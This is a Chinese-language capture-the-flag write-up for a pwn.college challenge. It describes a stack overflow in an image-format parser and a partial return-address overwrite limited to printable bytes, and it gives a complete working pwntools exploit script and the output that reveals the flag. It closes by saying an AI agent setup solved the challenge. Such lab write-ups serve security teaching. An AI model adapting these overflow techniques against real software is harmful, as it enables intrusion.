PwnCollege - Integrated Security - CIMG Screenshots 2

CIMG 挑战第二题。handle_5(无校验文件加载)被移除,新增不可达的 win() 函数。需要通过 handle_1337 栈溢出覆盖返回地址,跳转到 win 读取 /flag。全部数据路径受限于 printable ASCII(0x20-0x7e)。

挑战地址:ssh hacker@dojo.pwn.college,二进制在 /challenge/integration-cimg-screenshot-win

1. 与第一题的区别

特性 第一题 第二题
handle_5(加载文件) 可用 已移除,跳转表 slot 指向错误处理
win() 函数 有,但无任何调用者
二进制大小 22KB 83KB
核心漏洞 handle_1337 栈溢出 相同

handle_5 的移除意味着无法通过加载外部文件来放置任意字节的 shellcode。所有数据必须通过 handle_1(RGBA 像素)进入帧缓冲区,而 handle_1 强制要求 alpha 通道在 0x20-0x7e 范围内。

2. win() 函数分析

win 位于 0x401576,逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void win() {
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
printf("ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0) {
puts("Your effective user id is not 0!");
puts("You must directly run the suid binary...");
}
exit(-1);
}
char buf[256];
int n = read(fd, buf, sizeof(buf));
if (n <= 0) { /* error + exit */ }
write(1, buf, n);
// ... then repeats open/read/write in an infinite chain
}

关键发现:win 不是单个函数,而是约 50 个重复的 open/read/write 代码块的序列。每个块结构相同:

1
2
3
4
5
6
7
write_block:  write(1, rbp, n)     // 输出上次读取的内容
puts(separator)
open_block: fd = open("/flag", 0)
if (fd < 0) goto error
read_block: n = read(fd, rbp, 0x100)
if (n <= 0) goto error
// chain to next write_block

第一个块(0x4015e1)特殊:它在 read 前执行 mov %rsp, %rbp,将 rbp 初始化为有效的栈缓冲区。后续所有块复用这个 rbp 值。

3. 核心难题:printable 约束

handle_1337 的溢出数据来自帧缓冲区。帧缓冲区由 handle_1 填充,alpha 通道必须是 printable(0x20-0x7e)。

需要覆盖的返回地址包含 0x000x15 等不可打印字节。由于无法构造全 printable 的 64 位地址,直接覆盖行不通。

尝试了多种绕过:

  • 部分覆盖 saved rbp:保留高字节(原始栈地址),只覆盖低字节。但即使 rbp 指向有效栈内存,跳转目标 0x402031 的字节包含 0x15(不可打印)。
  • saved rbx 劫持 + 跳转表:rbx 必须指向 printable 地址,栈/堆地址均不可打印。
  • 多阶段溢出:每次 handle_1337 调用创建新栈帧,无法叠加。

4. 突破:printable 地址的 mov %rsp, %rbp

扫描二进制中所有 mov %rsp, %rbp(字节序列 48 89 e5):

1
2
3
4
0x4015e1  mov %rsp,%rbp   ; 0xe1, 0x15 ← 0x15 不可打印
0x402214 mov %rsp,%rbp ; 0x14, 0x22 ← 0x14 不可打印
...
0x405470 mov %rsp,%rbp ; 0x70='p', 0x54='T' ← 全部 printable!

0x405470 的低三字节 70 54 40 均可打印。该地址位于 win 的深层重复块中,其后的代码路径为:

1
2
3
4
5
6
7
8
9
10
405470: mov %rsp, %rbp        ; rbp = 当前栈指针(有效缓冲区!)
405473: movslq %eax, %edx ; 来自上一轮 read 的字节数
405476: mov $1, %edi
40547b: mov %rbp, %rsi
40547e: call write ; 写入 stdout(首次是栈垃圾,但后续是 flag)
405483: puts(...)
40548f: lea "/flag", %rdi
40549a: call open ; 打开 /flag
4054d9: read(fd, rbp, 0x100) ; 读取 /flag 到栈缓冲区
; → 链到下一个 write_block 输出 flag

跳到 0x405470 后:第一次 write 输出栈上的随机数据(无害),然后 openread → 下一个 write 正确输出 flag。后续块继续循环直到栈耗尽或崩溃——但 flag 已经输出了。

5. Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WIN = 0x405470  # printable: 0x70='p', 0x54='T', 0x40='@'

# 3 字节部分覆盖返回地址(偏移 168-170)
raw = bytearray(255)
for i in range(255): raw[i] = 0x41 # 'A' 填充
raw[168] = 0x70 # 'p'
raw[169] = 0x54 # 'T'
raw[170] = 0x40 # '@'

# RGBA: R=G=B=0, A=目标字节(均为 printable)
rgba = b''.join(bytes([0, 0, 0, b]) for b in raw)

# CIMG: handle_1 渲染 255 像素 → handle_1337 截屏 w=171 溢出
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(1337) + bytes([0, 0, 0, 171, 1])
1
2
3
4
$ ssh hacker@dojo.pwn.college 'python3 /tmp/ewf2.py'
[+] startstack=0x7ffeff2ce320
[*] Running exploit → 0x405470
[+] FLAG: pwn.college{**********************************************}

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""CIMG Screenshots 2 — FINAL: jump to 0x405470 (mov rsp,rbp; write; open; read; write /flag)."""

from pwn import *

context.log_level = "info"
BIN = "/challenge/integration-cimg-screenshot-win"
WIN = 0x405470 # printable: 0x70='p', 0x54='T', 0x40='@'


def cimg_hdr(w, h, n):
return b"cIMG" + p16(4) + p8(w) + p8(h) + p32(n)


# ─── leak ───
stat = open("/proc/self/stat", "rb").read()[:255].ljust(255, b"\x00")
rgba = b"".join(bytes([0, 0, 0, b]) for b in stat)
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(6) + b"\x00"
with open("/tmp/lk.cimg", "wb") as f:
f.write(cimg)
p = process([BIN, "/tmp/lk.cimg"])
out = p.recvall(10)
p.close()
import re

ss = int(b"".join(re.findall(rb"m(.)\x1b\[0m", out)).decode().split()[27])
log.success(f"startstack={hex(ss)}")

# ─── exploit ───
# Overwrite ret addr (buffer offset 168-170) with low 3 bytes of 0x405470
# Bytes: 0x70, 0x54, 0x40 — all printable
# Saved rbp (offset 144-151) also overwritten but 0x405470 sets rbp=rsp, so it doesn't matter!
OVERFLOW_W = 171

raw = bytearray(255)
for i in range(255):
raw[i] = 0x41 # 'A' filler
raw[168] = 0x70 # 'p'
raw[169] = 0x54 # 'T'
raw[170] = 0x40 # '@'

rgba = b"".join(bytes([0, 0, 0, b]) for b in raw)
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(1337) + bytes([0, 0, 0, OVERFLOW_W, 1])
with open("/tmp/ex.cimg", "wb") as f:
f.write(cimg)

log.info("Running exploit → 0x405470")
p = process([BIN, "/tmp/ex.cimg"])
out = p.recvall(10)
p.close()

flag = re.search(rb"pwn\.college\{[^}]+\}", out)
if flag:
log.success(f"FLAG: {flag.group().decode()}")
else:
clean = re.sub(rb"\x1b\[[0-9;]*m", b"", out)
log.info(f"exit={p.returncode} len={len(out)}")
if clean.strip():
log.info(f"output: {clean[:500]}")

6. 关键要点

  1. 重复代码块创造机会——win 的 ~50 个副本使地址空间覆盖了 printable 范围。如果在 0x402020-0x407e7e 区间内搜索,总能找到包含 mov %rsp, %rbp 的块。

  2. mov %rsp, %rbp 自初始化——不需要预先设置 rbp。跳转到该指令后,rbp 自动指向有效栈内存,read 可直接写入。

  3. 部分覆盖在 printable 约束下仍然有效——只覆盖返回地址的低 3 字节,高 5 字节保留原始的 0x00(因为原始返回地址 0x4013ff 的高字节也是 0)。

  4. Hermes + deepseek-v4-pro 从零分析到拿到 flag 约一小时。最耗时的是逐个排查 printable 约束下的绕过方案——return address overwrite、saved rbx hijack、partial overwrite、alphanumeric shellcode 等——直到发现 0x405470mov %rsp, %rbp 自初始化特性。